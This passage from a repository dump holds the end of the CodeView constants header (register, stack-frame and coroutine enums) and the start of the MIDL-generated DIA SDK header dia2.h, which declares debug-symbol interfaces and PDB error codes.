CV_AMD64_XMM30H     =  828,\n    CV_AMD64_XMM31H     =  829,\n\n    CV_AMD64_EMM16H     =  830,\n    CV_AMD64_EMM17H     =  831,\n    CV_AMD64_EMM18H     =  832,\n    CV_AMD64_EMM19H     =  833,\n    CV_AMD64_EMM20H     =  834,\n    CV_AMD64_EMM21H     =  835,\n    CV_AMD64_EMM22H     =  836,\n    CV_AMD64_EMM23H     =  837,\n    CV_AMD64_EMM24H     =  838,\n    CV_AMD64_EMM25H     =  839,\n    CV_AMD64_EMM26H     =  840,\n    CV_AMD64_EMM27H     =  841,\n    CV_AMD64_EMM28H     =  842,\n    CV_AMD64_EMM29H     =  843,\n    CV_AMD64_EMM30H     =  844,\n    CV_AMD64_EMM31H     =  845,\n\n    CV_AMD64_SSP        =  846,      // CET- Shadow Stack Pointer\n\n    CV_AMD64_TMM0       =  847,      // AMX tile registers\n    CV_AMD64_TMM1       =  848,\n    CV_AMD64_TMM2       =  849,\n    CV_AMD64_TMM3       =  850,\n    CV_AMD64_TMM4       =  851,\n    CV_AMD64_TMM5       =  852,\n    CV_AMD64_TMM6       =  853,\n    CV_AMD64_TMM7       =  854,\n    CV_AMD64_TILECFG    =  855,      // AMX tile cfg register\n\n    // Note:  Next set of platform registers need to go into a new enum...\n    // this one is above 44K now.\n\n} CV_HREG_e;\n\ntypedef enum CV_HLSLREG_e\n{\n    CV_HLSLREG_TEMP                                = 0,  \n    CV_HLSLREG_INPUT                               = 1,  \n    CV_HLSLREG_OUTPUT                              = 2,  \n    CV_HLSLREG_INDEXABLE_TEMP                      = 3,  \n    CV_HLSLREG_IMMEDIATE32                         = 4,  \n    CV_HLSLREG_IMMEDIATE64                         = 5,  \n    CV_HLSLREG_SAMPLER                             = 6,  \n    CV_HLSLREG_RESOURCE                            = 7,  \n    CV_HLSLREG_CONSTANT_BUFFER                     = 8,  \n    CV_HLSLREG_IMMEDIATE_CONSTANT_BUFFER           = 9,  \n    CV_HLSLREG_LABEL                               = 10, \n    CV_HLSLREG_INPUT_PRIMITIVEID                   = 11, \n    CV_HLSLREG_OUTPUT_DEPTH                        = 12, \n    CV_HLSLREG_NULL                                = 13, \n    CV_HLSLREG_RASTERIZER                          = 14, \n    CV_HLSLREG_OUTPUT_COVERAGE_MASK                = 15, \n    CV_HLSLREG_STREAM                              = 16, \n    CV_HLSLREG_FUNCTION_BODY                       = 17, \n    CV_HLSLREG_FUNCTION_TABLE                      = 18, \n    CV_HLSLREG_INTERFACE                           = 19, \n    CV_HLSLREG_FUNCTION_INPUT                      = 20, \n    CV_HLSLREG_FUNCTION_OUTPUT                     = 21, \n    CV_HLSLREG_OUTPUT_CONTROL_POINT_ID             = 22, \n    CV_HLSLREG_INPUT_FORK_INSTANCE_ID              = 23, \n    CV_HLSLREG_INPUT_JOIN_INSTANCE_ID              = 24, \n    CV_HLSLREG_INPUT_CONTROL_POINT                 = 25, \n    CV_HLSLREG_OUTPUT_CONTROL_POINT                = 26, \n    CV_HLSLREG_INPUT_PATCH_CONSTANT                = 27, \n    CV_HLSLREG_INPUT_DOMAIN_POINT                  = 28, \n    CV_HLSLREG_THIS_POINTER                        = 29, \n    CV_HLSLREG_UNORDERED_ACCESS_VIEW               = 30, \n    CV_HLSLREG_THREAD_GROUP_SHARED_MEMORY          = 31, \n    CV_HLSLREG_INPUT_THREAD_ID                     = 32, \n    CV_HLSLREG_INPUT_THREAD_GROUP_ID               = 33, \n    CV_HLSLREG_INPUT_THREAD_ID_IN_GROUP            = 34, \n    CV_HLSLREG_INPUT_COVERAGE_MASK                 = 35, \n    CV_HLSLREG_INPUT_THREAD_ID_IN_GROUP_FLATTENED  = 36,\n    CV_HLSLREG_INPUT_GS_INSTANCE_ID                = 37, \n    CV_HLSLREG_OUTPUT_DEPTH_GREATER_EQUAL          = 38, \n    CV_HLSLREG_OUTPUT_DEPTH_LESS_EQUAL             = 39, \n    CV_HLSLREG_CYCLE_COUNTER                       = 40, \n} CV_HLSLREG_e;\n\nenum StackFrameTypeEnum\n{\n    FrameTypeFPO,                   // Frame pointer omitted, FPO info available\n    FrameTypeTrap,                  // Kernel Trap frame\n    FrameTypeTSS,                   // Kernel Trap frame\n    FrameTypeStandard,              // Standard EBP stackframe\n    FrameTypeFrameData,             // Frame pointer omitted, FrameData info available\n\n    FrameTypeUnknown = -1,          // Frame which does not have any debug info\n};\n\nenum MemoryTypeEnum\n{\n    MemTypeCode,                    // Read only code memory\n    MemTypeData,                    // Read only data/stack memory\n    MemTypeStack,                   // Read only stack memory\n    MemTypeCodeOnHeap,              // Read only memory for code generated on heap by runtime\n\n    MemTypeAny = -1,\n};\n\ntypedef enum CV_HLSLMemorySpace_e\n{\n    // HLSL specific memory spaces\n\n    CV_HLSL_MEMSPACE_DATA         = 0x00,\n    CV_HLSL_MEMSPACE_SAMPLER      = 0x01,\n    CV_HLSL_MEMSPACE_RESOURCE     = 0x02,\n    CV_HLSL_MEMSPACE_RWRESOURCE   = 0x03,\n\n    CV_HLSL_MEMSPACE_MAX          = 0x0F,\n} CV_HLSLMemorySpace_e;\n\nenum\n{\n    NAMEHASH_BUILD_START,\n    NAMEHASH_BUILD_PAUSE,\n    NAMEHASH_BUILD_RESUME,\n    NAMEHASH_BUILD_COMPLETE,\n    NAMEHASH_BUILD_ERROR,\n    NAMEHASH_BUILD_OOM = NAMEHASH_BUILD_ERROR,\n    NAMEHASH_BUILD_FAIL_TO_OPEN_MOD,\n};\n\ntypedef enum CV_CoroutineKind_e\n{\n    CV_COROUTINEKIND_NONE,      // Not a coroutine\n    CV_COROUTINEKIND_PRIMARY,   // The original coroutine function\n    CV_COROUTINEKIND_INIT,      // Initialization function, sets up the coroutine frame\n    CV_COROUTINEKIND_RESUME,    // Resume function, contains the coroutine body code\n    CV_COROUTINEKIND_DESTROY    // Destroy function, tears down the coroutine frame\n} CV_CoroutineKind_e;\n\ntypedef enum CV_AssociationKind_e\n{\n    CV_ASSOCIATIONKIND_NONE,         // No associated symbol\n    CV_ASSOCIATIONKIND_COROUTINE     // Associated symbol is the primary coroutine function\n} CV_AssociationKind_e;\n\n#endif\n"
  },
  {
    "path": "DIA/inc/msdia/include/dia2.h",
    "content": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 8.01.0626 */\n/* @@MIDL_FILE_HEADING(  ) */\n\n#pragma warning( disable: 4049 )  /* more than 64k source lines */\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 475\n#endif\n\n/* verify that the <rpcsal.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCSAL_H_VERSION__\n#define __REQUIRED_RPCSAL_H_VERSION__ 100\n#endif\n\n#include \"rpc.h\"\n#include \"rpcndr.h\"\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif /* __RPCNDR_H_VERSION__ */\n\n#ifndef COM_NO_WINDOWS_H\n#include \"windows.h\"\n#include \"ole2.h\"\n#endif /*COM_NO_WINDOWS_H*/\n\n#ifndef __dia2_h__\n#define __dia2_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n/* Forward Declarations */ \n\n#ifndef __IDiaLoadCallback_FWD_DEFINED__\n#define __IDiaLoadCallback_FWD_DEFINED__\ntypedef interface IDiaLoadCallback IDiaLoadCallback;\n\n#endif \t/* __IDiaLoadCallback_FWD_DEFINED__ */\n\n\n#ifndef __IDiaLoadCallback2_FWD_DEFINED__\n#define __IDiaLoadCallback2_FWD_DEFINED__\ntypedef interface IDiaLoadCallback2 IDiaLoadCallback2;\n\n#endif \t/* __IDiaLoadCallback2_FWD_DEFINED__ */\n\n\n#ifndef __IDiaReadExeAtOffsetCallback_FWD_DEFINED__\n#define __IDiaReadExeAtOffsetCallback_FWD_DEFINED__\ntypedef interface IDiaReadExeAtOffsetCallback IDiaReadExeAtOffsetCallback;\n\n#endif \t/* __IDiaReadExeAtOffsetCallback_FWD_DEFINED__ */\n\n\n#ifndef __IDiaReadExeAtRVACallback_FWD_DEFINED__\n#define __IDiaReadExeAtRVACallback_FWD_DEFINED__\ntypedef interface IDiaReadExeAtRVACallback IDiaReadExeAtRVACallback;\n\n#endif \t/* __IDiaReadExeAtRVACallback_FWD_DEFINED__ */\n\n\n#ifndef __IDiaDataSource_FWD_DEFINED__\n#define __IDiaDataSource_FWD_DEFINED__\ntypedef interface IDiaDataSource IDiaDataSource;\n\n#endif \t/* __IDiaDataSource_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumSymbols_FWD_DEFINED__\n#define __IDiaEnumSymbols_FWD_DEFINED__\ntypedef interface IDiaEnumSymbols IDiaEnumSymbols;\n\n#endif \t/* __IDiaEnumSymbols_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumSymbolsByAddr_FWD_DEFINED__\n#define __IDiaEnumSymbolsByAddr_FWD_DEFINED__\ntypedef interface IDiaEnumSymbolsByAddr IDiaEnumSymbolsByAddr;\n\n#endif \t/* __IDiaEnumSymbolsByAddr_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumSymbolsByAddr2_FWD_DEFINED__\n#define __IDiaEnumSymbolsByAddr2_FWD_DEFINED__\ntypedef interface IDiaEnumSymbolsByAddr2 IDiaEnumSymbolsByAddr2;\n\n#endif \t/* __IDiaEnumSymbolsByAddr2_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumSourceFiles_FWD_DEFINED__\n#define __IDiaEnumSourceFiles_FWD_DEFINED__\ntypedef interface IDiaEnumSourceFiles IDiaEnumSourceFiles;\n\n#endif \t/* __IDiaEnumSourceFiles_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumInputAssemblyFiles_FWD_DEFINED__\n#define __IDiaEnumInputAssemblyFiles_FWD_DEFINED__\ntypedef interface IDiaEnumInputAssemblyFiles IDiaEnumInputAssemblyFiles;\n\n#endif \t/* __IDiaEnumInputAssemblyFiles_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumLineNumbers_FWD_DEFINED__\n#define __IDiaEnumLineNumbers_FWD_DEFINED__\ntypedef interface IDiaEnumLineNumbers IDiaEnumLineNumbers;\n\n#endif \t/* __IDiaEnumLineNumbers_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumInjectedSources_FWD_DEFINED__\n#define __IDiaEnumInjectedSources_FWD_DEFINED__\ntypedef interface IDiaEnumInjectedSources IDiaEnumInjectedSources;\n\n#endif \t/* __IDiaEnumInjectedSources_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumSegments_FWD_DEFINED__\n#define __IDiaEnumSegments_FWD_DEFINED__\ntypedef interface IDiaEnumSegments IDiaEnumSegments;\n\n#endif \t/* __IDiaEnumSegments_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumSectionContribs_FWD_DEFINED__\n#define __IDiaEnumSectionContribs_FWD_DEFINED__\ntypedef interface IDiaEnumSectionContribs IDiaEnumSectionContribs;\n\n#endif \t/* __IDiaEnumSectionContribs_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumFrameData_FWD_DEFINED__\n#define __IDiaEnumFrameData_FWD_DEFINED__\ntypedef interface IDiaEnumFrameData IDiaEnumFrameData;\n\n#endif \t/* __IDiaEnumFrameData_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumDebugStreamData_FWD_DEFINED__\n#define __IDiaEnumDebugStreamData_FWD_DEFINED__\ntypedef interface IDiaEnumDebugStreamData IDiaEnumDebugStreamData;\n\n#endif \t/* __IDiaEnumDebugStreamData_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumDebugStreams_FWD_DEFINED__\n#define __IDiaEnumDebugStreams_FWD_DEFINED__\ntypedef interface IDiaEnumDebugStreams IDiaEnumDebugStreams;\n\n#endif \t/* __IDiaEnumDebugStreams_FWD_DEFINED__ */\n\n\n#ifndef __IDiaAddressMap_FWD_DEFINED__\n#define __IDiaAddressMap_FWD_DEFINED__\ntypedef interface IDiaAddressMap IDiaAddressMap;\n\n#endif \t/* __IDiaAddressMap_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSession_FWD_DEFINED__\n#define __IDiaSession_FWD_DEFINED__\ntypedef interface IDiaSession IDiaSession;\n\n#endif \t/* __IDiaSession_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol_FWD_DEFINED__\n#define __IDiaSymbol_FWD_DEFINED__\ntypedef interface IDiaSymbol IDiaSymbol;\n\n#endif \t/* __IDiaSymbol_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol2_FWD_DEFINED__\n#define __IDiaSymbol2_FWD_DEFINED__\ntypedef interface IDiaSymbol2 IDiaSymbol2;\n\n#endif \t/* __IDiaSymbol2_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol3_FWD_DEFINED__\n#define __IDiaSymbol3_FWD_DEFINED__\ntypedef interface IDiaSymbol3 IDiaSymbol3;\n\n#endif \t/* __IDiaSymbol3_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol4_FWD_DEFINED__\n#define __IDiaSymbol4_FWD_DEFINED__\ntypedef interface IDiaSymbol4 IDiaSymbol4;\n\n#endif \t/* __IDiaSymbol4_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol5_FWD_DEFINED__\n#define __IDiaSymbol5_FWD_DEFINED__\ntypedef interface IDiaSymbol5 IDiaSymbol5;\n\n#endif \t/* __IDiaSymbol5_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol6_FWD_DEFINED__\n#define __IDiaSymbol6_FWD_DEFINED__\ntypedef interface IDiaSymbol6 IDiaSymbol6;\n\n#endif \t/* __IDiaSymbol6_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol7_FWD_DEFINED__\n#define __IDiaSymbol7_FWD_DEFINED__\ntypedef interface IDiaSymbol7 IDiaSymbol7;\n\n#endif \t/* __IDiaSymbol7_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol8_FWD_DEFINED__\n#define __IDiaSymbol8_FWD_DEFINED__\ntypedef interface IDiaSymbol8 IDiaSymbol8;\n\n#endif \t/* __IDiaSymbol8_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol9_FWD_DEFINED__\n#define __IDiaSymbol9_FWD_DEFINED__\ntypedef interface IDiaSymbol9 IDiaSymbol9;\n\n#endif \t/* __IDiaSymbol9_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol10_FWD_DEFINED__\n#define __IDiaSymbol10_FWD_DEFINED__\ntypedef interface IDiaSymbol10 IDiaSymbol10;\n\n#endif \t/* __IDiaSymbol10_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSourceFile_FWD_DEFINED__\n#define __IDiaSourceFile_FWD_DEFINED__\ntypedef interface IDiaSourceFile IDiaSourceFile;\n\n#endif \t/* __IDiaSourceFile_FWD_DEFINED__ */\n\n\n#ifndef __IDiaInputAssemblyFile_FWD_DEFINED__\n#define __IDiaInputAssemblyFile_FWD_DEFINED__\ntypedef interface IDiaInputAssemblyFile IDiaInputAssemblyFile;\n\n#endif \t/* __IDiaInputAssemblyFile_FWD_DEFINED__ */\n\n\n#ifndef __IDiaLineNumber_FWD_DEFINED__\n#define __IDiaLineNumber_FWD_DEFINED__\ntypedef interface IDiaLineNumber IDiaLineNumber;\n\n#endif \t/* __IDiaLineNumber_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSectionContrib_FWD_DEFINED__\n#define __IDiaSectionContrib_FWD_DEFINED__\ntypedef interface IDiaSectionContrib IDiaSectionContrib;\n\n#endif \t/* __IDiaSectionContrib_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSegment_FWD_DEFINED__\n#define __IDiaSegment_FWD_DEFINED__\ntypedef interface IDiaSegment IDiaSegment;\n\n#endif \t/* __IDiaSegment_FWD_DEFINED__ */\n\n\n#ifndef __IDiaInjectedSource_FWD_DEFINED__\n#define __IDiaInjectedSource_FWD_DEFINED__\ntypedef interface IDiaInjectedSource IDiaInjectedSource;\n\n#endif \t/* __IDiaInjectedSource_FWD_DEFINED__ */\n\n\n#ifndef __IDiaStackWalkFrame_FWD_DEFINED__\n#define __IDiaStackWalkFrame_FWD_DEFINED__\ntypedef interface IDiaStackWalkFrame IDiaStackWalkFrame;\n\n#endif \t/* __IDiaStackWalkFrame_FWD_DEFINED__ */\n\n\n#ifndef __IDiaFrameData_FWD_DEFINED__\n#define __IDiaFrameData_FWD_DEFINED__\ntypedef interface IDiaFrameData IDiaFrameData;\n\n#endif \t/* __IDiaFrameData_FWD_DEFINED__ */\n\n\n#ifndef __IDiaImageData_FWD_DEFINED__\n#define __IDiaImageData_FWD_DEFINED__\ntypedef interface IDiaImageData IDiaImageData;\n\n#endif \t/* __IDiaImageData_FWD_DEFINED__ */\n\n\n#ifndef __IDiaTable_FWD_DEFINED__\n#define __IDiaTable_FWD_DEFINED__\ntypedef interface IDiaTable IDiaTable;\n\n#endif \t/* __IDiaTable_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumTables_FWD_DEFINED__\n#define __IDiaEnumTables_FWD_DEFINED__\ntypedef interface IDiaEnumTables IDiaEnumTables;\n\n#endif \t/* __IDiaEnumTables_FWD_DEFINED__ */\n\n\n#ifndef __DiaSource_FWD_DEFINED__\n#define __DiaSource_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class DiaSource DiaSource;\n#else\ntypedef struct DiaSource DiaSource;\n#endif /* __cplusplus */\n\n#endif \t/* __DiaSource_FWD_DEFINED__ */\n\n\n#ifndef __DiaSourceAlt_FWD_DEFINED__\n#define __DiaSourceAlt_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class DiaSourceAlt DiaSourceAlt;\n#else\ntypedef struct DiaSourceAlt DiaSourceAlt;\n#endif /* __cplusplus */\n\n#endif \t/* __DiaSourceAlt_FWD_DEFINED__ */\n\n\n#ifndef __DiaStackWalker_FWD_DEFINED__\n#define __DiaStackWalker_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class DiaStackWalker DiaStackWalker;\n#else\ntypedef struct DiaStackWalker DiaStackWalker;\n#endif /* __cplusplus */\n\n#endif \t/* __DiaStackWalker_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSectionContrib_FWD_DEFINED__\n#define __IDiaSectionContrib_FWD_DEFINED__\ntypedef interface IDiaSectionContrib IDiaSectionContrib;\n\n#endif \t/* __IDiaSectionContrib_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumSectionContribs_FWD_DEFINED__\n#define __IDiaEnumSectionContribs_FWD_DEFINED__\ntypedef interface IDiaEnumSectionContribs IDiaEnumSectionContribs;\n\n#endif \t/* __IDiaEnumSectionContribs_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol_FWD_DEFINED__\n#define __IDiaSymbol_FWD_DEFINED__\ntypedef interface IDiaSymbol IDiaSymbol;\n\n#endif \t/* __IDiaSymbol_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol2_FWD_DEFINED__\n#define __IDiaSymbol2_FWD_DEFINED__\ntypedef interface IDiaSymbol2 IDiaSymbol2;\n\n#endif \t/* __IDiaSymbol2_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol3_FWD_DEFINED__\n#define __IDiaSymbol3_FWD_DEFINED__\ntypedef interface IDiaSymbol3 IDiaSymbol3;\n\n#endif \t/* __IDiaSymbol3_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol4_FWD_DEFINED__\n#define __IDiaSymbol4_FWD_DEFINED__\ntypedef interface IDiaSymbol4 IDiaSymbol4;\n\n#endif \t/* __IDiaSymbol4_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol5_FWD_DEFINED__\n#define __IDiaSymbol5_FWD_DEFINED__\ntypedef interface IDiaSymbol5 IDiaSymbol5;\n\n#endif \t/* __IDiaSymbol5_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol6_FWD_DEFINED__\n#define __IDiaSymbol6_FWD_DEFINED__\ntypedef interface IDiaSymbol6 IDiaSymbol6;\n\n#endif \t/* __IDiaSymbol6_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol7_FWD_DEFINED__\n#define __IDiaSymbol7_FWD_DEFINED__\ntypedef interface IDiaSymbol7 IDiaSymbol7;\n\n#endif \t/* __IDiaSymbol7_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol8_FWD_DEFINED__\n#define __IDiaSymbol8_FWD_DEFINED__\ntypedef interface IDiaSymbol8 IDiaSymbol8;\n\n#endif \t/* __IDiaSymbol8_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol9_FWD_DEFINED__\n#define __IDiaSymbol9_FWD_DEFINED__\ntypedef interface IDiaSymbol9 IDiaSymbol9;\n\n#endif \t/* __IDiaSymbol9_FWD_DEFINED__ */\n\n\n#ifndef __IDiaSymbol10_FWD_DEFINED__\n#define __IDiaSymbol10_FWD_DEFINED__\ntypedef interface IDiaSymbol10 IDiaSymbol10;\n\n#endif \t/* __IDiaSymbol10_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumSymbolsByAddr_FWD_DEFINED__\n#define __IDiaEnumSymbolsByAddr_FWD_DEFINED__\ntypedef interface IDiaEnumSymbolsByAddr IDiaEnumSymbolsByAddr;\n\n#endif \t/* __IDiaEnumSymbolsByAddr_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumSymbolsByAddr2_FWD_DEFINED__\n#define __IDiaEnumSymbolsByAddr2_FWD_DEFINED__\ntypedef interface IDiaEnumSymbolsByAddr2 IDiaEnumSymbolsByAddr2;\n\n#endif \t/* __IDiaEnumSymbolsByAddr2_FWD_DEFINED__ */\n\n\n#ifndef __IDiaPropertyStorage_FWD_DEFINED__\n#define __IDiaPropertyStorage_FWD_DEFINED__\ntypedef interface IDiaPropertyStorage IDiaPropertyStorage;\n\n#endif \t/* __IDiaPropertyStorage_FWD_DEFINED__ */\n\n\n#ifndef __IDiaStackFrame_FWD_DEFINED__\n#define __IDiaStackFrame_FWD_DEFINED__\ntypedef interface IDiaStackFrame IDiaStackFrame;\n\n#endif \t/* __IDiaStackFrame_FWD_DEFINED__ */\n\n\n#ifndef __IDiaEnumStackFrames_FWD_DEFINED__\n#define __IDiaEnumStackFrames_FWD_DEFINED__\ntypedef interface IDiaEnumStackFrames IDiaEnumStackFrames;\n\n#endif \t/* __IDiaEnumStackFrames_FWD_DEFINED__ */\n\n\n#ifndef __IDiaStackWalkHelper_FWD_DEFINED__\n#define __IDiaStackWalkHelper_FWD_DEFINED__\ntypedef interface IDiaStackWalkHelper IDiaStackWalkHelper;\n\n#endif \t/* __IDiaStackWalkHelper_FWD_DEFINED__ */\n\n\n#ifndef __IDiaStackWalker_FWD_DEFINED__\n#define __IDiaStackWalker_FWD_DEFINED__\ntypedef interface IDiaStackWalker IDiaStackWalker;\n\n#endif \t/* __IDiaStackWalker_FWD_DEFINED__ */\n\n\n#ifndef __IDiaStackWalkHelper2_FWD_DEFINED__\n#define __IDiaStackWalkHelper2_FWD_DEFINED__\ntypedef interface IDiaStackWalkHelper2 IDiaStackWalkHelper2;\n\n#endif \t/* __IDiaStackWalkHelper2_FWD_DEFINED__ */\n\n\n#ifndef __IDiaStackWalker2_FWD_DEFINED__\n#define __IDiaStackWalker2_FWD_DEFINED__\ntypedef interface IDiaStackWalker2 IDiaStackWalker2;\n\n#endif \t/* __IDiaStackWalker2_FWD_DEFINED__ */\n\n\n/* header files for imported files */\n#include \"objidl.h\"\n#include \"oaidl.h\"\n#include \"propidl.h\"\n#include \"cvconst.h\"\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n/* interface __MIDL_itf_dia2_0000_0000 */\n/* [local] */ \n\n\nenum NameSearchOptions\n    {\n        nsNone\t= 0,\n        nsfCaseSensitive\t= 0x1,\n        nsfCaseInsensitive\t= 0x2,\n        nsfFNameExt\t= 0x4,\n        nsfRegularExpression\t= 0x8,\n        nsfUndecoratedName\t= 0x10,\n        nsCaseSensitive\t= nsfCaseSensitive,\n        nsCaseInsensitive\t= nsfCaseInsensitive,\n        nsFNameExt\t= ( nsfCaseInsensitive | nsfFNameExt ) ,\n        nsRegularExpression\t= ( nsfRegularExpression | nsfCaseSensitive ) ,\n        nsCaseInRegularExpression\t= ( nsfRegularExpression | nsfCaseInsensitive ) \n    } ;\n\nenum __MIDL___MIDL_itf_dia2_0000_0000_0001\n    {\n        E_PDB_OK\t= ( HRESULT  )(( ( ( ( unsigned long  )1 << 31 )  | ( ( unsigned long  )( LONG  )0x6d << 16 )  )  | ( unsigned long  )1 ) ),\n        E_PDB_USAGE\t= ( E_PDB_OK + 1 ) ,\n        E_PDB_OUT_OF_MEMORY\t= ( E_PDB_USAGE + 1 ) ,\n        E_PDB_FILE_SYSTEM\t= ( E_PDB_OUT_OF_MEMORY + 1 ) ,\n        E_PDB_NOT_FOUND\t= ( E_PDB_FILE_SYSTEM + 1 ) ,\n        E_PDB_INVALID_SIG\t= ( E_PDB_NOT_FOUND + 1 ) ,\n        E_PDB_INVALID_AGE\t= ( E_PDB_INVALID_SIG + 1 ) ,\n        E_PDB_PRECOMP_REQUIRED\t= ( E_PDB_INVALID_AGE + 1 ) ,\n        E_PDB_OUT_OF_TI\t= ( E_PDB_PRECOMP_REQUIRED + 1 ) ,\n        E_PDB_NOT_IMPLEMENTED\t= ( E_PDB_OUT_OF_TI + 1 ) ,\n        E_PDB_V1_PDB\t= ( E_PDB_NOT_IMPLEMENTED + 1 ) ,\n        E_PDB_FORMAT\t= ( E_PDB_V1_PDB + 1 ) ,\n        E_PDB_LIMIT\t= ( E_PDB_FORMAT + 1 ) ,\n        E_PDB_CORRUPT\t= ( E_PDB_LIMIT + 1 ) ,\n        E_PDB_TI16\t= ( E_PDB_CORRUPT + 1 ) ,\n        E_PDB_ACCESS_DENIED\t= ( E_PDB_TI16 + 1 ) ,\n        E_PDB_ILLEGAL_TYPE_EDIT\t= ( E_PDB_ACCESS_DENIED + 1 ) ,\n        E_PDB_INVALID_EXECUTABLE\t= ( E_PDB_ILLEGAL_TYPE_EDIT + 1 ) ,\n        E_PDB_DBG_NOT_FOUND\t= ( E_PDB_INVALID_EXECUTABLE + 1 ) ,\n        E_PDB_NO_DEBUG_INFO\t= ( E_PDB_DBG_NOT_FOUND + 1 ) ,\n        E_PDB_INVALID_EXE_TIMESTAMP\t= ( E_PDB_NO_DEBUG_INFO + 1 ) ,\n        E_PDB_RESERVED\t= ( E_PDB_INVALID_EXE_TIMESTAMP + 1 ) ,\n        E_PDB_DEBUG_INFO_NOT_IN_PDB\t= ( E_PDB_RESERVED + 1 ) ,\n        E_PDB_SYMSRV_BAD_CACHE_PATH\t= ( E_PDB_DEBUG_INFO_NOT_IN_PDB + 1 ) ,\n        E_PDB_SYMSRV_CACHE_FULL\t= ( E_PDB_SYMSRV_BAD_CACHE_PATH + 1 ) ,\n        E_PDB_OBJECT_DISPOSED\t= ( E_PDB_SYMSRV_CACHE_FULL + 1 ) ,\n        E_PDB_MAX\t= ( E_PDB_OBJECT_DISPOSED + 1 ) \n    } ;\ntypedef void ( __cdecl *PfnPDBDebugDirV )( \n    BOOL __MIDL____MIDL_itf_dia2_0000_00000000,\n    void *__MIDL____MIDL_itf_dia2_0000_00000001);\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0000_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0000_v0_0_s_ifspec;\n\n#ifndef __IDiaLoadCallback_INTERFACE_DEFINED__\n#define __IDiaLoadCallback_INTERFACE_DEFINED__\n\n/* interface IDiaLoadCallback */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaLoadCallback;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"C32ADB82-73F4-421b-95D5-A4706EDF5DBE\")\n    IDiaLoadCallback : public IUnknown\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE NotifyDebugDir( \n            /* [in] */ BOOL fExecutable,\n            /* [in] */ DWORD cbData,\n            /* [size_is][in] */ BYTE *pbData) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE NotifyOpenDBG( \n            /* [in] */ LPCOLESTR dbgPath,\n            /* [in] */ HRESULT resultCode) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE NotifyOpenPDB( \n            /* [in] */ LPCOLESTR pdbPath,\n            /* [in] */ HRESULT resultCode) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RestrictRegistryAccess( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RestrictSymbolServerAccess( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaLoadCallbackVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaLoadCallback * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaLoadCallback * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaLoadCallback * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *NotifyDebugDir )( \n            IDiaLoadCallback * This,\n            /* [in] */ BOOL fExecutable,\n            /* [in] */ DWORD cbData,\n            /* [size_is][in] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *NotifyOpenDBG )( \n        